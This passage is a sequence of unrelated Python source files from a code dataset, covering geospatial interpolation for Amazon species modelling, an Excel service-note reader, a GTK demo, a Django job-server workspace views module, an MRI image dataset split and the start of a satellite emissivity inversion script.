plt.title('Intepolation of {}'.format(variable))\r\n plt.colorbar()\r\n \r\n\r\ndef create_dataframe(min_lon,max_lon,dx,min_lat,max_lat,dy,zi):\r\n \"\"\"\r\n Create the dataframe resulting of the interpolation \r\n \"\"\"\r\n \r\n xi = np.arange(min_lon,max_lon,dx) \r\n yi = np.arange(min_lat,max_lat,dy)\r\n \r\n matriz = []\r\n for i in range(len(yi)):\r\n linha = []\r\n for j in range(len(xi)):\r\n linha.append(zi[i][j])\r\n matriz.append(linha) \r\n interp = pd.DataFrame(matriz)\r\n interp.index = yi\r\n interp.columns = xi\r\n \r\n return interp\r\n\r\n\r\ndef interpolate_variable(df_flight, variable, season, flights):\r\n \"\"\"\r\n Interpolate the variable for the selected season\r\n \"\"\"\r\n \r\n # Select columns\r\n df_flight = select_colums(df_flight, variable)\r\n \r\n if not df_flight.empty:\r\n # Filter the altitude\r\n f_df_flight = filter_alt(df_flight)\r\n \r\n if f_df_flight.shape[0] > 100:\r\n\r\n # Calculate the maximum and minimum of latitude and longitude\r\n max_lat, max_lon, min_lat, min_lon = maxmin_season(season, flights)\r\n\r\n # Calculate the discretization\r\n dx,dy = dxdy_season(season, flights)\r\n\r\n # Interpolate\r\n zi,xi,yi,x,y,dx,dy = interpolate(f_df_flight,variable,max_lat,max_lon,min_lat,min_lon,dx,dy)\r\n\r\n # Plot the interpolation\r\n #plot_interpolation(variable,xi,yi,zi,x,y)\r\n\r\n # Create dataframe\r\n interp = create_dataframe(min_lon,max_lon,dx,min_lat,max_lat,dy,zi)\r\n\r\n return interp\r\n \r\n \r\ndef summarization(min_lon,max_lon,dx,min_lat,max_lat,dy,list_flights):\r\n \"\"\"\r\n Summarize the interpolations of the variable in the season\r\n \"\"\"\r\n \r\n xi = np.arange(min_lon,max_lon,dx) \r\n yi = np.arange(min_lat,max_lat,dy)\r\n \r\n z_final = []\r\n \r\n # Threshold \r\n minimum = len(list_flights)/2;\r\n \r\n for l in range(len(list_flights)):\r\n if type(list_flights[l]) == pd.core.frame.DataFrame:\r\n flight_df = list_flights[l]\r\n \r\n for i in range(len(flight_df)):\r\n line = []\r\n for j in range(len(flight_df.columns)):\r\n counter = 0\r\n lista = []\r\n for k in range(len(list_flights)):\r\n flight = list_flights[k]\r\n if type(flight) == pd.core.frame.DataFrame:\r\n if np.isnan(flight.iloc[i,j]) == False:\r\n lista.append(flight.iloc[i,j])\r\n counter += 1\r\n if len(lista) > minimum:\r\n idmax = lista.index(max(lista))\r\n lista[idmax] = 0\r\n line.append(mean(lista))\r\n else:\r\n line.append(None)\r\n z_final.append(line)\r\n \r\n z_final = pd.DataFrame(z_final)\r\n z_final.index = yi\r\n z_final.columns = xi\r\n\r\n return xi,yi,z_final\r\n\r\n\r\ndef plot_summarization(variable,xi,yi,z_final):\r\n \"\"\"\r\n Plot the summarization \r\n \"\"\"\r\n \r\n fig = plt.figure(figsize=(10,8))\r\n ax = fig.add_subplot(111)\r\n plt.contourf(xi,yi,z_final)\r\n plt.xlabel('Longitude (°)')\r\n plt.ylabel('Latitude (°)')\r\n plt.title('Interpolation of {}'.format(variable))\r\n plt.colorbar()\r\n \r\n\r\ndef interpolation_season(variable, season):\r\n \"\"\"\r\n Interpolate the variable during the season\r\n \"\"\"\r\n \r\n # Read the files\r\n if season == 'dry':\r\n flights = read_files(season) \r\n elif season == 'wet':\r\n flights = read_files(season)\r\n \r\n # Calculate the maximum and minimum of latitude and longitude\r\n max_lat, max_lon, min_lat, min_lon = maxmin_season(season, flights)\r\n\r\n # Calculate the discretization \r\n dx,dy = dxdy_season(season, flights)\r\n \r\n lista_flights = []\r\n for flight in flights:\r\n interpolation = interpolate_variable(flight, variable, season, flights)\r\n lista_flights.append(interpolation)\r\n\r\n # Summarize the interpolations\r\n xi,yi,z_final = summarization(min_lon,max_lon,dx,min_lat,max_lat,dy,lista_flights)\r\n\r\n # Plot 2D\r\n #plot_summarization(variable,xi,yi,z_final)\r\n \r\n return z_final\r\n\r\n\r\ndef generate_dataset(season, list_variables, file_name):\r\n \"\"\"\r\n Generates the interpolation for each variable from the list and a dataframe\r\n \"\"\"\r\n \r\n # Iterates and generates the interpolation for each variable\r\n for i in range(len(list_variables)):\r\n if i == 0:\r\n df_season = interpolation_season(list_variables[i], season)\r\n \r\n # Stack the dataset\r\n df_season = pd.DataFrame(df_season.stack(dropna=False)).reset_index()\r\n df_season = df_season.rename(columns={'level_0': 'latitude', 'level_1': 'longitude', 0: list_variables[i]})\r\n \r\n else:\r\n df_interpolated = interpolation_season(list_variables[i], season)\r\n \r\n # Stack the dataset\r\n df_interpolated = pd.DataFrame(df_interpolated.stack(dropna=False)).reset_index()\r\n df_interpolated = df_interpolated.rename(columns={'level_0': 'latitude', 'level_1': 'longitude', 0: list_variables[i]})\r\n \r\n # Merge\r\n df_season = df_season.merge(df_interpolated, on=['latitude', 'longitude'])\r\n \r\n # Filter for not NaN\r\n df_season = df_season.dropna(subset=list_variables, how='all').reset_index(drop=True)\r\n \r\n # Export data\r\n df_season.to_excel('{}.xlsx'.format(file_name), index=False)\r\n \r\n return df_season \r\n\r\n\r\ndef read_bio_files(file_name):\r\n \"\"\"\r\n Read the datasets with species occurrence data\r\n \"\"\"\r\n \r\n if file_name == 'portal_bio':\r\n \r\n df = pd.read_excel('portalbio_export_16-08-2020-20-20-34.xlsx')\r\n \r\n # Select columns\r\n df = df[['Data do registro','Nome cientifico','Nome comum','Nivel taxonomico', 'Numero de individuos', 'Reino', 'Filo', 'Classe','Ordem', 'Familia', 'Genero', 'Especie', 'Localidade', 'Pais', 'Estado/Provincia','Municipio', 'Latitude', 'Longitude']]\r\n df = df.rename(columns={'Data do registro':'date', 'Latitude':'latitude', 'Longitude':'longitude', 'Especie':'species'})\r\n df = df[['date','latitude','longitude','species']]\r\n \r\n # Round coordinates\r\n df['latitude'] = df['latitude'].apply(lambda x: x/(10**(len(str(x))-2)))\r\n df['longitude'] = df['longitude'].apply(lambda x: x/(10**(len(str(x))-3)))\r\n \r\n # Filter unknown species\r\n df = df[df['species'] != 'Sem Informações'].reset_index(drop = True)\r\n \r\n return df\r\n \r\n elif file_name == 'GBIF':\r\n \r\n df = pd.read_excel('GBIF_occu.xlsx')\r\n \r\n # Select columns\r\n df = df[['eventDate','stateProvince','county','municipality','locality','decimalLatitude','decimalLongitude','kingdom','phylum','class','order','family','genus','species']]\r\n df = df.rename(columns={'eventDate':'date', 'decimalLatitude':'latitude', 'decimalLongitude':'longitude'})\r\n df = df[['date','latitude','longitude','species']]\r\n \r\n # Round coordinates\r\n df['latitude'] = df['latitude'].apply(lambda x: x/(10**(len(str(x))-4)))\r\n df['longitude'] = df['longitude'].apply(lambda x: x/(10**(len(str(x))-5)))\r\n \r\n # Filter unknown species \r\n df = df.dropna(subset = ['species']).reset_index(drop = True)\r\n \r\n return df\r\n \r\n\r\ndef filter_files(df,ini_date, end_date, min_lat, min_long, max_lat, max_long):\r\n \"\"\"\r\n Filter the datasets by date and coordinates (latitude and longitude)\r\n \"\"\"\r\n \r\n # Filter by date\r\n df = df[df['date']>=ini_date]\r\n df = df[df['date']<=end_date]\r\n df = df.sort_values(by='date').reset_index(drop = True)\r\n \r\n # Filter by coordinates\r\n df = df[df['latitude'] >= min_lat]\r\n df = df[df['latitude'] <= max_lat]\r\n df = df[df['longitude'] >= min_long]\r\n df = df[df['longitude'] <= max_long]\r\n df = df.reset_index(drop = True)\r\n \r\n return df\r\n\r\n\r\ndef concatenate_dfs(df1, df2):\r\n \"\"\"\r\n Concatenate the species occurrence datasets\r\n \"\"\"\r\n\r\n df = pd.concat([df1,df2])\r\n df = df.sort_values(by='date').reset_index(drop = True)\r\n \r\n # Drop duplicates\r\n df = df.drop_duplicates(subset=['latitude', 'longitude', 'date', 'species'], keep='first').reset_index(drop=True)\r\n \r\n return df\r\n\r\n\r\ndef select_season(season, df):\r\n \"\"\"\r\n Filter the dataset by season\r\n \"\"\"\r\n \r\n if season == 'dry':\r\n \r\n # Filter by season\r\n mask1 = df['date'].map(lambda x: x.month) == 8\r\n mask2 = df['date'].map(lambda x: x.month) == 9\r\n mask3 = df['date'].map(lambda x: x.month) == 10\r\n df_1 = df[mask1]\r\n df_2 = df[mask2]\r\n df_3 = df[mask3]\r\n df_dry = pd.concat([df_1,df_2,df_3], ignore_index=True)\r\n \r\n return df_dry\r\n \r\n elif season == 'wet':\r\n \r\n # Filter by season\r\n mask1 = df['date'].map(lambda x: x.month) == 1\r\n mask2 = df['date'].map(lambda x: x.month) == 2\r\n mask3 = df['date'].map(lambda x: x.month) == 3\r\n df_1 = df[mask1]\r\n df_2 = df[mask2]\r\n df_3 = df[mask3]\r\n df_wet = pd.concat([df_1,df_2,df_3], ignore_index=True)\r\n \r\n return df_wet\r\n \r\n\r\ndef merge_datasets(season, df):\r\n \"\"\"\r\n Merge the datasets in order to generate the bioclimatic dataset\r\n \"\"\"\r\n \r\n # Read interpolated data\r\n df_interpolated = pd.read_excel('Interpolated_Data_{}.xlsx'.format(season))\r\n \r\n # Format coordinates\r\n df_interpolated['latitude_'] = df_interpolated['latitude'].apply(lambda x: round(x,3))\r\n df_interpolated['longitude_'] = df_interpolated['longitude'].apply(lambda x: round(x,3))\r\n df['latitude_'] = df['latitude'].apply(lambda x: round(x,3))\r\n df['longitude_'] = df['longitude'].apply(lambda x: round(x,3))\r\n \r\n # Join\r\n df = df.merge(df_interpolated, on=['latitude_', 'longitude_']).reset_index(drop=True)\r\n \r\n # Count the numbers of occurrences\r\n occurrences = pd.DataFrame(df.groupby(by=['species'])['date'].count())\r\n occurrences = occurrences.rename(columns={'date':'qty'})\r\n \r\n # Filter minimum quantity\r\n occurrences = occurrences[occurrences['qty'] >= 17].reset_index()\r\n \r\n # Select columns\r\n list_columns = list(df.columns)\r\n list_columns.remove('latitude_x')\r\n list_columns.remove('longitude_x')\r\n list_columns.remove('latitude_')\r\n list_columns.remove('longitude_')\r\n df = df[list_columns]\r\n df = df.rename(columns={'latitude_y':'latitude','longitude_y':'longitude'})\r\n \r\n # Create new column\r\n df_interpolated.loc[:,'species'] = None\r\n\r\n # Add key column\r\n def key(lat,lon):\r\n return str(lat)+str(lon)\r\n\r\n df_interpolated['key'] = df_interpolated.apply(lambda x: key(x['latitude'],x['longitude']), axis=1)\r\n df['key'] = df.apply(lambda x: key(x['latitude'],x['longitude']), axis=1)\r\n\r\n # Filtering\r\n df_interpolated = df_interpolated.loc[~df_interpolated['key'].isin(df['key'].to_list())]\r\n df_interpolated = pd.concat([df_interpolated,df]).reset_index(drop=True)\r\n l_columns = occurrences['species'].to_list()+[None]\r\n df_interpolated = df_interpolated.loc[df_interpolated['species'].isin(l_columns)].reset_index(drop=True)\r\n \r\n # Encoding\r\n df_enc = pd.get_dummies(df_interpolated.species, prefix='species')\r\n\r\n # Add column\r\n df_bioclim = pd.merge(df_interpolated, df_enc, left_index=True, right_index=True)\r\n \r\n # Drop NaN\r\n list_columns.remove('latitude_y')\r\n list_columns.remove('longitude_y')\r\n list_columns.remove('date')\r\n list_columns.remove('species')\r\n df_bioclim = df_bioclim.dropna(subset=list_columns)\r\n \r\n # Drop columns\r\n df_bioclim.drop(labels=['latitude_','longitude_','species','key','date'], axis=1)\r\n df_bioclim = df_bioclim.reset_index(drop=True)\r\n \r\n df_bioclim.to_csv('Bioclimatic_dataset_{}.csv'.format(season), index=False)\r\n \r\n return df_bioclim\r\n\r\n \r\ndef main():\r\n \r\n # Perform the spatial interpolation\r\n dataset = generate_dataset(season, list_variables, file_name)\r\n \r\n # Generate the bioclimatic dataset\r\n df1 = read_bio_files(file_name_1)\r\n df2 = read_bio_files(file_name_2)\r\n df1 = filter_files(df1,ini_date, end_date, min_lat, min_long, max_lat, max_long)\r\n df2 = filter_files(df2,ini_date, end_date, min_lat, min_long, max_lat, max_long)\r\n df = concatenate_dfs(df1, df2)\r\n df = select_season(season, df)\r\n df_bioclim = merge_datasets(season, df)\r\n\r\n\r\nmain()","repo_name":"amazon-bioclim/reproducible-sdm-amazon","sub_path":"Data_Processing.py","file_name":"Data_Processing.py","file_ext":"py","file_size_in_byte":18948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33006029039","text":"\n\n\"\"\"\nСлужебные записки\n\n\"\"\"\nimport pandas as pd\n\ndef serviceNoteReadFile(sn_file):\n try:\n df = pd.read_excel(\n sn_file, \n sheet_name=\"СЗ\",\n parse_dates = [\n 'Отгрузка \"от\"',\n 'Отгрузка \"до\"',\n 'Дата СЗ',\n 'Дата СЗ Факт',\n 'Комплектовочные План Дней от СЗ',\n 'Комплектовочные План Вручную',\n 'Отгрузочные План Дней от СЗ',\n 'Отгрузочные План Вручную',\n 'Конструкторская документация План Дней от СЗ',\n 'Конструкторская документация План Вручную',\n 'Материалы План',\n ],\n dtype={\n 'ID':int,\n 'Продукция':str,\n 'Контрагент':str,\n '№ Заказа':str,\n '№ СЗ с изменениями':str,\n },\n index_col=0\n )\n\n except Exception as ind:\n # logger.error(\"serviceNoteReadFile error with file: %s - %s\" % (sn_file, ind))\n print(\"serviceNoteReadFile error with file: %s - %s\" % (sn_file, ind))\n else:\n df = df.rename(columns={\n 'ID':'in_id',\n # 'Порядковый номер':'in_sn_no',\n 'Отгрузка \"от\"':'shipment_from',\n 'Отгрузка \"до\"':'shipment_before',\n 'Продукция':'product_name',\n 'Контрагент':'counterparty',\n '№ Заказа':'order_no',\n 'Кол-во':'amount',\n '№ СЗ':'sn_no',\n '№ СЗ с изменениями':'sn_no_amended',\n 'Дата СЗ':'sn_date',\n 'Дата СЗ Факт':'sn_date_fact',\n 'Комплектовочные План Дней от СЗ':'pickup_plan_days',\n 'Комплектовочные План Вручную':'pickup_plan_date',\n 'Отгрузочные План Дней от СЗ':'shipping_plan_days',\n 'Отгрузочные План Вручную':'shipping_plan_date',\n 'Конструкторская документация План Дней от СЗ':'design_plan_days',\n 'Конструкторская документация План Вручную':'design_plan_date',\n 'Материалы План':'material_plan_date',\n }\n )\n df['sn_date'] = pd.to_datetime(df['sn_date'], errors='coerce')\n\n def setup_pickup_plan_date(row):\n if not pd.isnull(row['pickup_plan_date']):\n return row['pickup_plan_date']\n\n if not pd.isnull(row['pickup_plan_days']):\n if not pd.isnull(row['sn_date']):\n return row['sn_date'] + pd.DateOffset(row['pickup_plan_days'])\n\n if not pd.isnull(row['sn_date']):\n return row['sn_date']\n\n def setup_shipping_plan_date(row):\n if not pd.isnull(row['shipping_plan_date']):\n return row['shipping_plan_date']\n\n if not pd.isnull(row['shipping_plan_days']):\n if not pd.isnull(row['sn_date']):\n return row['sn_date'] + pd.DateOffset(row['shipping_plan_days'])\n\n if not pd.isnull(row['sn_date']):\n return row['sn_date']\n\n def setup_design_plan_date(row):\n if not pd.isnull(row['design_plan_date']):\n return row['design_plan_date']\n\n if not pd.isnull(row['design_plan_days']):\n if not pd.isnull(row['sn_date']):\n return row['sn_date'] + pd.DateOffset(row['design_plan_days'])\n\n if not pd.isnull(row['pickup_plan_date_f']):\n # Если даты по плану нет и если нету дней по плану - берем дату по плану выдачи комплектовочных\n return row['pickup_plan_date_f']\n\n if not pd.isnull(row['sn_date']):\n return row['sn_date']\n\n df['pickup_plan_date_f'] = df.apply (lambda row: setup_pickup_plan_date(row), axis=1)\n df['shipping_plan_date_f'] = df.apply (lambda row: setup_shipping_plan_date(row), axis=1)\n df['design_plan_date_f'] = df.apply (lambda row: setup_design_plan_date(row), axis=1)\n df = df[[\n 'shipment_from',\n 'shipment_before',\n 'product_name',\n 'counterparty',\n 'order_no',\n 'amount',\n 'sn_no',\n 'sn_no_amended',\n 'sn_date',\n 'sn_date_fact',\n 'pickup_plan_days',\n 'pickup_plan_date',\n 'shipping_plan_days',\n 'shipping_plan_date',\n 'design_plan_days',\n 'design_plan_date',\n 'material_plan_date',\n 'pickup_plan_date_f',\n 'shipping_plan_date_f',\n 'design_plan_date_f'\n ]]\n return df\n\nif __name__ == \"__main__\":\n from settings import SN_FILE\n serviceNoteDf = serviceNoteReadFile(SN_FILE)\n serviceNoteDf.to_excel(\"testfiles\\\\Service_Notes.xlsx\")","repo_name":"yegorkowalew/newoperplan","sub_path":"readservicenote.py","file_name":"readservicenote.py","file_ext":"py","file_size_in_byte":5421,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20405730099","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk\n\ndef onAnadirClicked(builder):\n texto = lText.get_text()\n# lIdRes.set_text(\"Hola %s\" % texto)\n lstWeb.append([texto,\"masTxt5\"])\n\n print(\"Añadir ( %s ) Texto\" % texto)\n\ndef mainQuit(builder):\n Gtk.main_quit()\n\n\nbuilder = Gtk.Builder()\nbuilder.add_from_file(\"/home/sykey/Documentos/Python_Glade_GTK/PruebaBoton2/pruebaboton2.glade\")\n\n\nsignals = { \"on_bAñadir_clicked\" : onAnadirClicked,\n \"gtk_main_quit\" : mainQuit }\n\n\nbuilder.connect_signals(signals)\n\nlText = builder.get_object(\"lTexto\")\nlstWeb = builder.get_object(\"liststore1\")\n\nwindow = builder.get_object(\"window1\")\nwindow.show_all()\n\nGtk.main()\n\n","repo_name":"basuraxam/PruebaPythonGlade","sub_path":"PruebaBoton2/pruebaboton.py","file_name":"pruebaboton.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43179571290","text":"def play(n_16):\n if ord(n_16) < 65:\n n_16 = int(n_16)\n else:\n n_16 = ord(n_16) - 55\n k = 0\n stack = []\n for _ in range(4):\n stack.append(n_16 % 2)\n n_16 = n_16 // 2\n for _ in range(4):\n a = stack.pop()\n result.append(str(a))\nT = int(input())\n\nfor TC in range(1, T+1):\n N, num = map(str, input().split())\n N = int(N)\n num = list(num)\n result = []\n for i in range(N):\n play(num[i])\n print('#%d %s' %(TC, ''.join(result)))\n","repo_name":"sondongmin0419/study","sub_path":"python/s_5185.py","file_name":"s_5185.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32336883308","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import CreateView, ListView, View\n\nfrom ..authorization import SuperUser, has_permission, has_role\nfrom ..backends import backends_to_choices\nfrom ..forms import (\n JobRequestCreateForm,\n WorkspaceArchiveToggleForm,\n WorkspaceCreateForm,\n WorkspaceNotificationsToggleForm,\n)\nfrom ..github import get_branch_sha, get_repos_with_branches\nfrom ..models import Backend, JobRequest, Workspace\nfrom ..project import get_actions, get_project, load_yaml\nfrom ..roles import can_run_jobs\n\n\n@method_decorator(user_passes_test(can_run_jobs), name=\"dispatch\")\nclass WorkspaceArchiveToggle(View):\n def post(self, request, *args, **kwargs):\n workspace = get_object_or_404(Workspace, name=self.kwargs[\"name\"])\n\n form = WorkspaceArchiveToggleForm(request.POST)\n form.is_valid()\n\n workspace.is_archived = form.cleaned_data[\"is_archived\"]\n workspace.save()\n\n return redirect(\"/\")\n\n\n@method_decorator(user_passes_test(can_run_jobs), name=\"dispatch\")\nclass WorkspaceCreate(CreateView):\n form_class = WorkspaceCreateForm\n model = Workspace\n template_name = \"workspace_create.html\"\n\n def dispatch(self, request, *args, **kwargs):\n self.repos_with_branches = sorted(\n get_repos_with_branches(), key=lambda r: r[\"name\"].lower()\n )\n\n return super().dispatch(request, *args, **kwargs)\n\n def form_valid(self, form):\n instance = form.save(commit=False)\n instance.created_by = self.request.user\n instance.save()\n\n return redirect(instance)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"repos_with_branches\"] = self.repos_with_branches\n return context\n\n def get_form_kwargs(self):\n kwargs = super().get_form_kwargs()\n kwargs[\"repos_with_branches\"] = self.repos_with_branches\n return kwargs\n\n\nclass BaseWorkspaceDetail(CreateView):\n \"\"\"\n WorkspaceDetail base view\n\n Handles everything for the WorkspaceDetail page except Workspace permission\n lookups. Any subclass must implement the can_run_jobs method, returning a\n boolean.\n \"\"\"\n\n form_class = JobRequestCreateForm\n model = JobRequest\n template_name = \"workspace_detail.html\"\n\n def can_run_jobs(self, user):\n raise NotImplementedError\n\n def dispatch(self, request, *args, **kwargs):\n self.user_can_run_jobs = self.can_run_jobs(request.user)\n\n self.show_details = (\n request.user.is_authenticated\n and self.user_can_run_jobs\n and not self.workspace.is_archived\n )\n\n if not self.show_details:\n # short-circuit for logged out users to avoid the hop to grab\n # actions from GitHub\n self.actions = []\n return super().dispatch(request, *args, **kwargs)\n\n action_status_lut = self.workspace.get_action_status_lut()\n\n # build actions as list or render the exception to the page\n try:\n self.project = get_project(\n self.workspace.repo_name,\n self.workspace.branch,\n )\n data = load_yaml(self.project)\n except Exception as e:\n self.actions = []\n # this is a bit nasty, need to mirror what get/post would set up for us\n self.object = None\n context = self.get_context_data(actions_error=str(e))\n return self.render_to_response(context=context)\n\n self.actions = list(get_actions(data, action_status_lut))\n return super().dispatch(request, *args, **kwargs)\n\n @transaction.atomic\n def form_valid(self, form):\n sha = get_branch_sha(self.workspace.repo_name, self.workspace.branch)\n\n if has_role(self.request.user, SuperUser):\n # Use the form data to decide which backend to use for superusers.\n backend = Backend.objects.get(name=form.cleaned_data.pop(\"backend\"))\n else:\n # For non-superusers we're only exposing one backend currently.\n backend = Backend.objects.get(name=\"tpp\")\n\n backend.job_requests.create(\n workspace=self.workspace,\n created_by=self.request.user,\n sha=sha,\n project_definition=self.project,\n **form.cleaned_data,\n )\n return redirect(\"workspace-logs\", name=self.workspace.name)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"actions\"] = self.actions\n context[\"branch\"] = self.workspace.branch\n context[\"latest_job_request\"] = self.get_latest_job_request()\n context[\"is_superuser\"] = has_role(self.request.user, SuperUser)\n context[\"show_details\"] = self.show_details\n context[\"user_can_run_jobs\"] = self.user_can_run_jobs\n context[\"workspace\"] = self.workspace\n return context\n\n def get_form_kwargs(self):\n kwargs = super().get_form_kwargs()\n kwargs[\"actions\"] = [a[\"name\"] for a in self.actions]\n\n if has_role(self.request.user, SuperUser):\n # TODO: move to ModelForm declaration once all users can pick backends\n backends = Backend.objects.all()\n backend_choices = backends_to_choices(backends)\n kwargs[\"backends\"] = backend_choices\n\n return kwargs\n\n def get_initial(self):\n # derive will_notify for the JobRequestCreateForm from the Workspace\n # setting as a default for the form which the user can override.\n return {\"will_notify\": self.workspace.should_notify}\n\n def get_latest_job_request(self):\n return (\n self.workspace.job_requests.prefetch_related(\"jobs\")\n .order_by(\"-created_at\")\n .first()\n )\n\n def post(self, request, *args, **kwargs):\n if self.workspace.is_archived:\n msg = (\n \"You cannot create Jobs for an archived Workspace.\"\n \"Please contact an admin if you need to have it unarchved.\"\n )\n messages.error(request, msg)\n return redirect(self.workspace)\n\n return super().post(request, *args, **kwargs)\n\n\nclass GlobalWorkspaceDetail(BaseWorkspaceDetail):\n def can_run_jobs(self, user):\n return can_run_jobs(user)\n\n def dispatch(self, request, *args, **kwargs):\n if \"project_slug\" in self.kwargs:\n return redirect(\n \"project-workspace-detail\",\n org_slug=self.kwargs[\"org_slug\"],\n project_slug=self.kwargs[\"project_slug\"],\n workspace_slug=self.kwargs[\"workspace_slug\"],\n )\n\n try:\n self.workspace = Workspace.objects.get(name=self.kwargs[\"name\"])\n except Workspace.DoesNotExist:\n return redirect(\"/\")\n\n return super().dispatch(request, *args, **kwargs)\n\n\nclass ProjectWorkspaceDetail(BaseWorkspaceDetail):\n def can_run_jobs(self, user):\n return has_permission(user, \"run_job\", project=self.workspace.project)\n\n def dispatch(self, request, *args, **kwargs):\n if \"project_slug\" not in self.kwargs:\n return redirect(\"workspace-detail\", name=self.kwargs[\"name\"])\n\n try:\n self.workspace = Workspace.objects.get(\n project__org__slug=self.kwargs[\"org_slug\"],\n project__slug=self.kwargs[\"project_slug\"],\n name=self.kwargs[\"workspace_slug\"],\n )\n except Workspace.DoesNotExist:\n return redirect(\"/\")\n\n return super().dispatch(request, *args, **kwargs)\n\n\nclass WorkspaceLog(ListView):\n paginate_by = 25\n template_name = \"workspace_log.html\"\n\n def dispatch(self, request, *args, **kwargs):\n try:\n self.workspace = Workspace.objects.get(name=self.kwargs[\"name\"])\n except Workspace.DoesNotExist:\n return redirect(\"/\")\n\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"user_can_run_jobs\"] = can_run_jobs(self.request.user)\n context[\"workspace\"] = self.workspace\n return context\n\n def get_queryset(self):\n qs = (\n JobRequest.objects.filter(workspace=self.workspace)\n .prefetch_related(\"jobs\")\n .select_related(\"workspace\")\n .order_by(\"-pk\")\n )\n\n q = self.request.GET.get(\"q\")\n if q:\n qwargs = Q(jobs__action__icontains=q) | Q(jobs__identifier__icontains=q)\n try:\n q = int(q)\n except ValueError:\n qs = qs.filter(qwargs)\n else:\n # if the query looks enough like a number for int() to handle\n # it then we can look for a job number\n qs = qs.filter(qwargs | Q(jobs__pk=q))\n\n return qs\n\n\n@method_decorator(user_passes_test(can_run_jobs), name=\"dispatch\")\nclass WorkspaceNotificationsToggle(View):\n def post(self, request, *args, **kwargs):\n workspace = get_object_or_404(Workspace, name=self.kwargs[\"name\"])\n\n form = WorkspaceNotificationsToggleForm(data=request.POST)\n form.is_valid()\n\n workspace.should_notify = form.cleaned_data[\"should_notify\"]\n workspace.save()\n\n return redirect(workspace)\n\n\n@method_decorator(user_passes_test(can_run_jobs), name=\"dispatch\")\nclass WorkspaceReleaseView(View):\n def get(self, request, name, release):\n return f\"release page for {name}/{release}\" # pragma: no cover\n","repo_name":"machrisaa/opensafely-job-server","sub_path":"jobserver/views/workspaces.py","file_name":"workspaces.py","file_ext":"py","file_size_in_byte":9867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"11193362261","text":"from __future__ import print_function\r\n\r\nimport matplotlib.pyplot as plt\r\nimport SimpleITK as sitk\r\nimport numpy as np\r\nimport sys, os\r\nimport png\r\nimport cv2\r\nimport shutil\r\n\r\ncwd = os.getcwd()\r\nAcount = 0\r\nBcount = 0\r\ndirectory = os.path.join(cwd,'datasets','prostate')\r\ntestPathA = os.path.join(directory,'testA')\r\ntestPathB = os.path.join(directory,'testB')\r\ntrainPathA = os.path.join(directory,'trainA')\r\ntrainPathB = os.path.join(directory,'trainB')\r\nif not os.path.exists(directory):\r\n os.makedirs(testPathA)\r\n os.makedirs(testPathB)\r\n os.makedirs(trainPathA)\r\n os.makedirs(trainPathB)\r\npathA = os.path.join(cwd,'T2')\r\npathB = os.path.join(cwd,'ADC')\r\n\r\nfor file in os.listdir(pathA):\r\n file_path = os.path.join(pathA,file)\r\n n = np.random.rand(1)\r\n if int(file[11:14]) <= 300:\r\n shutil.copy(file_path,trainPathA)\r\n\r\n #image path to be copied for flip\r\n img_path = trainPathA + '/' + file\r\n \r\n else:\r\n shutil.copy(file_path,testPathA)\r\n \r\n #image path to be copied for flip\r\n img_path = testPathA + '/' + file\r\n \r\n #functionality for making horizontal copies of images\r\n img = cv2.imread(img_path)\r\n horizontal_img = cv2.flip(img, 1 )\r\n file_path_b = img_path.replace(\".png\", \"\")\r\n file_path_b = file_path_b + '_b.png'\r\n cv2.imwrite(file_path_b , horizontal_img)\r\n \r\n \r\n Acount += 1\r\n print(Acount)\r\nfor file in os.listdir(pathB):\r\n file_path = os.path.join(pathB,file)\r\n n = np.random.rand(1)\r\n if int(file[11:14]) <= 300:\r\n shutil.copy(file_path,trainPathB)\r\n \r\n #image path to be copied for flip\r\n img_path = trainPathB + '/' + file\r\n \r\n else:\r\n shutil.copy(file_path,testPathB)\r\n \r\n #image path to be copied for flip\r\n img_path = testPathB + '/' + file\r\n \r\n #functionality for making horizontal copies of images\r\n img = cv2.imread(img_path)\r\n horizontal_img = cv2.flip(img, 1 )\r\n file_path_b = img_path.replace(\".png\", \"\")\r\n file_path_b = file_path_b + '_b.png'\r\n cv2.imwrite(file_path_b , horizontal_img)\r\n \r\n Bcount += 1\r\n print(Bcount)\r\n \r\n","repo_name":"BrianWilcox1/cs231_project","sub_path":"generate_dataset_b.py","file_name":"generate_dataset_b.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33178530510","text":"#################################################################\n#Compute the inversion of penetration depth and emissivity field#\n#################################################################\nfrom netCDF4 import Dataset # http://code.google.com/p/netcdf4-python/\nimport netCDF4, math\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport numpy as np\nimport sys, time\nsys.path.insert(0, \"/home/passalao/Documents/SMOS-FluxGeo/BIOG\")\nimport BIOG\nimport NC_Resources as ncr\nimport scipy.optimize as opt\nimport scipy.interpolate as interp\nnp.set_printoptions(threshold=np.nan)\n\n###################################################################################################\n#Functions\n###################################################################################################\n\n#Computes the effective temperature\ndef ComputeTeff(L):\n Teff=np.zeros(np.shape(H))\n #z = (1-Zeta)\n for i in np.arange(0,np.shape(H)[0], 1):\n for j in np.arange(0,np.shape(H)[1], 1):\n if Mask[i,j]==1:\n '''z = (1 - Zeta[i, j]) * H[i, j]\n dz=0.05*H[i,j]\n Teff[i,j]=273.15+sum(Tz_gr[i,j]*np.exp(-z/L)*dz/L)/sum(np.exp(-z/L)*dz/L)'''\n\n 